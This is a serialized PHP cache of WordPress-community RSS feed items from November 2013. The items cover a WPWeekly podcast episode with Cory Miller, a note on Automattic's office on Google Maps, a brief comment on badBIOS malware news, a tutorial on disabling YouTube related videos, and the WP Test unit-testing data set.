\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:76:\&quot;WPTavern: WPWeekly Episode 126 – Catching Up With Cory Miller From iThemes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10844\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:124:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/LAGCARUPZ1c/wpweekly-episode-126-catching-up-with-cory-miller-from-ithemes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2974:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordPressWeekly_albumart2.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordPressWeekly_albumart2.jpg?resize=150%2C150\&quot; alt=\&quot;WordPress Weekly Cover Art\&quot; class=\&quot;alignright size-thumbnail wp-image-8715\&quot; /&gt;&lt;/a&gt; &lt;span id=\&quot;more-10844\&quot;&gt;&lt;/span&gt;In this episode, we caught up with Cory Miller of &lt;a href=\&quot;http://ithemes.com/\&quot; title=\&quot;http://ithemes.com/\&quot;&gt;iThemes.com&lt;/a&gt; to walk down memory lane starting with 2008. The year he launched the company. Then we progressed into the future and visited various milestones along the way such as the release of the &lt;a href=\&quot;http://ithemes.com/purchase/flexx-theme/\&quot; title=\&quot;http://ithemes.com/purchase/flexx-theme/\&quot;&gt;Flexx theme&lt;/a&gt;, &lt;a href=\&quot;http://www.wptavern.com/review-of-ithemes-builder-theme\&quot; title=\&quot;http://www.wptavern.com/review-of-ithemes-builder-theme\&quot;&gt;Builder&lt;/a&gt;, &lt;a href=\&quot;http://ithemes.com/find/plugins/\&quot; title=\&quot;http://ithemes.com/find/plugins/\&quot;&gt;PluginBuddy&lt;/a&gt;, &lt;a href=\&quot;http://www.wptavern.com/backup-buddy-is-a-home-run\&quot; title=\&quot;http://www.wptavern.com/backup-buddy-is-a-home-run\&quot;&gt;Backup Buddy&lt;/a&gt;, &lt;a href=\&quot;http://webdesign.com/\&quot; title=\&quot;http://webdesign.com/\&quot;&gt;Webdesign.com&lt;/a&gt;, and &lt;a href=\&quot;http://ithemes.com/exchange/\&quot; title=\&quot;http://ithemes.com/exchange/\&quot;&gt;iThemes Exchange&lt;/a&gt;. I loved talking to Cory about the early years of WordPress themes. We also covered the headlines of the week. &lt;!--more--&gt;&lt;/p&gt;\n&lt;h2&gt;Stories Discussed:&lt;/h2&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.wptavern.com/wordpress-3-7-1-a-historical-maintenance-release\&quot; title=\&quot;http://www.wptavern.com/wordpress-3-7-1-a-historical-maintenance-release\&quot;&gt;WordPress 3.7.1 Released&lt;/a&gt;&lt;br /&gt;\n&lt;a href=\&quot;http://www.wptavern.com/akismet-celebrates-huge-spam-blocking-milestone\&quot; title=\&quot;http://www.wptavern.com/akismet-celebrates-huge-spam-blocking-milestone\&quot;&gt;Akismet Celebrates Huge Spam Blocking Milestone&lt;/a&gt;&lt;br /&gt;\n&lt;a href=\&quot;http://www.wptavern.com/wordpress-3-8-development-heats-up-with-discussion-of-new-core-features\&quot; title=\&quot;http://www.wptavern.com/wordpress-3-8-development-heats-up-with-discussion-of-new-core-features\&quot;&gt;WordPress 3.8 Development Heats Up With Discussion of New Core Features&lt;/a&gt;&lt;/p&gt;\n&lt;h2&gt;WPWeekly Meta:&lt;/h2&gt;\n&lt;p&gt;&lt;strong&gt;Next Episode:&lt;/strong&gt; Friday, November 8th 3 P.M. Eastern&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Subscribe To WPWeekly Via Itunes: &lt;/strong&gt;&lt;a href=\&quot;https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\&quot; target=\&quot;_blank\&quot;&gt;Click here to subscribe&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Subscribe To WPWeekly Via RSS: &lt;/strong&gt;&lt;a href=\&quot;http://www.wptavern.com/feed/podcast\&quot; target=\&quot;_blank\&quot;&gt;Click here to subscribe&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Subscribe To WPWeekly Via Stitcher Radio: &lt;/strong&gt;&lt;a href=\&quot;http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\&quot; target=\&quot;_blank\&quot;&gt;Click here to subscribe&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Listen To Episode #126:&lt;/strong&gt;&lt;br /&gt;\n&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/LAGCARUPZ1c\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 02 Nov 2013 18:35:38 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:85:\&quot;WordPress.tv: Justin Sainton: Hacking Your Business: Business Workflow For Developers\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24548\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:101:\&quot;http://wordpress.tv/2013/11/02/justin-sainton-hacking-your-business-business-workflow-for-developers/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:724:\&quot;&lt;div id=\&quot;v-3auPLRWJ-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24548/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24548/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24548&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/11/02/justin-sainton-hacking-your-business-business-workflow-for-developers/\&quot;&gt;&lt;img alt=\&quot;Justin Sainton: Hacking Your Business: Business Workflow For Developers\&quot; src=\&quot;http://videos.videopress.com/3auPLRWJ/video-80686fa92c_scruberthumbnail_0.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 02 Nov 2013 11:40:40 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Matt: Automattic on Google Maps\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;http://ma.tt/?p=43156\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:47:\&quot;http://ma.tt/2013/11/automattic-on-google-maps/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:343:\&quot;&lt;p&gt;You can now view &lt;a href=\&quot;http://jkudish.com/2013/10/31/automattic-is-on-google-maps/\&quot;&gt;the inside of Automattic&amp;#8217;s office on Google Maps street view&lt;/a&gt; and walk around inside. To get downstairs go by the stairs and press the back arrow, a bit unintuitive but gets you to the main floor. Check out the custom shuffleboard upstairs.&lt;/p&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 02 Nov 2013 10:00:50 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;Matt: Ultra-high Frequency Sound Malware\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;http://ma.tt/?p=43154\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:56:\&quot;http://ma.tt/2013/11/ultra-high-frequency-sound-malware/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:985:\&quot;&lt;p&gt;The story around &lt;a href=\&quot;http://arstechnica.com/security/2013/10/meet-badbios-the-mysterious-mac-and-pc-malware-that-jumps-airgaps/\&quot;&gt;badBIOS, the mysterious Mac and PC malware that jumps airgaps&lt;/a&gt;, is fascinating and surprising. The capabilities of sophisticated attackers right now vastly outstrip the defenses of any computer user or company. The &lt;a href=\&quot;http://www.washingtonpost.com/world/national-security/nsa-infiltrates-links-to-yahoo-google-data-centers-worldwide-snowden-documents-say/2013/10/30/e51d661e-4166-11e3-8b74-d89d714ca4dd_story.html?Post+generic=%3Ftid%3Dsm_twitter_washingtonpost\&quot;&gt;news that the NSA had broken into the networks of Google and Yahoo&lt;/a&gt;, unfortunately, wasn&amp;#8217;t surprising given &lt;a href=\&quot;http://www.washingtonpost.com/business/technology/google-encrypts-data-amid-backlash-against-nsa-spying/2013/09/06/9acc3c20-1722-11e3-a2ec-b47e45e6f8ef_story.html\&quot;&gt;Google&amp;#8217;s move to encrypt traffic between datacenters&lt;/a&gt; early in September.&lt;/p&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 02 Nov 2013 00:37:50 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:71:\&quot;WPTavern: How to Disable Related Videos for YouTube Embeds in WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10873\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:123:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/nzi_d1TU9MA/how-to-disable-related-videos-for-youtube-embeds-in-wordpress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3745:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/11/youtube-logo.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/11/youtube-logo.jpg?resize=313%2C136\&quot; alt=\&quot;youtube-logo\&quot; class=\&quot;alignright size-full wp-image-10884\&quot; /&gt;&lt;/a&gt;When you embed a YouTube video in a WordPress post, it is generally added to illustrate your content. Sometimes your video is the main focal point of the post. Chances are that you don&amp;#8217;t want to be sending users to related videos after viewing the embedded one. You want to keep the reader&amp;#8217;s attention on your content. The video was meant to be a tool to capture that attention in the first place. &lt;span id=\&quot;more-10873\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;Turn Off Related Videos&lt;/h3&gt;\n&lt;p&gt;Related videos is a YouTube feature that can be a lot of fun when you&amp;#8217;re browsing YouTube, but it&amp;#8217;s not so helpful on videos you embed in WordPress posts. There are two different ways to turn related videos off, depending on how your WordPress site is set up. &lt;/p&gt;\n&lt;h4&gt;WordPress.com Sites and Jetpack-Powered WordPress.org Sites&lt;/h4&gt;\n&lt;p&gt;On WordPress.com and on self-hosted WordPress sites using Jetpack, you can simply tack on &amp;#8216;&lt;strong&gt;&amp;#038;rel=0&lt;/strong&gt;&amp;#8216; to the end of the YouTube URL to disable related videos at the end of the video. &lt;/p&gt;\n&lt;p&gt;Normally, you would just grab the URL from the browser window and paste it in on its own line:&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/11/youtube-url.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/11/youtube-url.jpg?resize=312%2C34\&quot; alt=\&quot;youtube-url\&quot; class=\&quot;aligncenter size-full wp-image-10882\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;On our site we are using Jetpack, so we just tack on &amp;#8216;&lt;strong&gt;&amp;#038;rel=0&lt;/strong&gt;&amp;#8216; to the URL:&lt;/p&gt;\n&lt;pre&gt;http://www.youtube.com/watch?v=xPe4NbWQzkM&amp;#038;rel=0&lt;/pre&gt;\n&lt;p&gt;The output for that is this ridiculously cute video with &lt;strong&gt;no related videos at the end&lt;/strong&gt;:&lt;/p&gt;\n&lt;p&gt;&lt;span class=\&quot;embed-youtube\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The same method can also be applied if you opt for the &lt;a href=\&quot;http://jetpack.me/support/shortcode-embeds/\&quot; target=\&quot;_blank\&quot;&gt;Jetpack shortcode embed&lt;/a&gt;. More &lt;a href=\&quot;http://en.support.wordpress.com/videos/youtube/#video-customization-options\&quot; target=\&quot;_blank\&quot;&gt;video customization options&lt;/a&gt; can be found in the WordPress.com documentation.&lt;/p&gt;\n&lt;h4&gt;Self-Hosted WordPress Sites Without Jetpack&lt;/h4&gt;\n&lt;p&gt;If you have a self-hosted WordPress site and you&amp;#8217;re not using Jetpack, turning off related videos can be done by selecting the embed option directly from YouTube, instead of using &lt;a href=\&quot;http://codex.wordpress.org/Embeds\&quot; target=\&quot;_blank\&quot;&gt;WordPress&amp;#8217; oembed feature&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;When you&amp;#8217;re on the YouTube video&amp;#8217;s page, select embed and then &lt;strong&gt;uncheck&lt;/strong&gt; the option that says: &amp;#8220;&lt;strong&gt;Show suggested videos when the video finishes.&lt;/strong&gt;&amp;#8221;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/11/uncheck.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/11/uncheck.jpg?resize=526%2C316\&quot; alt=\&quot;uncheck\&quot; class=\&quot;aligncenter size-full wp-image-10885\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;If getting the embed code is a bother, you might try using a plugin such as &lt;a href=\&quot;http://wordpress.org/plugins/hide-youtube-related-videos/\&quot; target=\&quot;_blank\&quot;&gt;Hide YouTube Related Videos&lt;/a&gt; to do this automatically.&lt;/p&gt;\n&lt;p&gt;This topic tends to be a bit tricky, depending on if you are on WordPress.com, self-hosted with Jetpack or self-hosted without Jetpack. Fortunately, there&amp;#8217;s an easy solution for everyone.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/nzi_d1TU9MA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 02 Nov 2013 00:24:20 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:69:\&quot;WPTavern: WP Test: Unit Testing Data for WordPress Themes and Plugins\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10848\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:120:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/g9jU9IlaVu8/wp-test-unit-testing-data-for-wordpress-themes-and-plugins\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2414:\&quot;&lt;p&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/11/wptest.png?resize=560%2C135\&quot; alt=\&quot;wptest\&quot; class=\&quot;aligncenter size-full wp-image-10853\&quot; /&gt;&lt;br /&gt;\n&lt;a href=\&quot;http://wptest.io/\&quot; title=\&quot;WP Test\&quot; target=\&quot;_blank\&quot;&gt;WP Test&lt;/a&gt; is a site that any WordPress theme or plugin developer will want to bookmark. Created by WordPress developer &lt;a href=\&quot;https://twitter.com/manovotny\&quot; target=\&quot;_blank\&quot;&gt;Michael Novotny&lt;/a&gt;, WP Test exists to provide test data for WordPress themes and plugins. The site is very simple and includes only a download and a demo button.&lt;/p&gt;\n&lt;p&gt;What&amp;#8217;s in the download package? WP Test sums it up nicely:&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;A fantastically exhaustive set of test data to measure the integrity of your plugins and themes.&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;&lt;span id=\&quot;more-10848\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The WP Test data is based off of recommendations from &lt;a href=\&quot;http://codex.wordpress.org/Theme_Unit_Test\&quot; target=\&quot;_blank\&quot;&gt;WordPress’ Theme Unit Test data&lt;/a&gt; found in the codex. Added into the mix is Novotny&amp;#8217;s years of experience supporting themes and plugins. &lt;/p&gt;\n&lt;h3&gt;The Importance of Unit Testing&lt;/h3&gt;\n&lt;p&gt;Unit testing is a recommended practice for developers who create software for other people to use. Essentially, it involves putting your code through the paces using a set of control data. If you want your theme or plugin to provide a smooth experience out of the box, then you need to perform tests before it&amp;#8217;s released. WP Test makes unit testing easy. Download the test data and then import it into your test site using the &lt;a 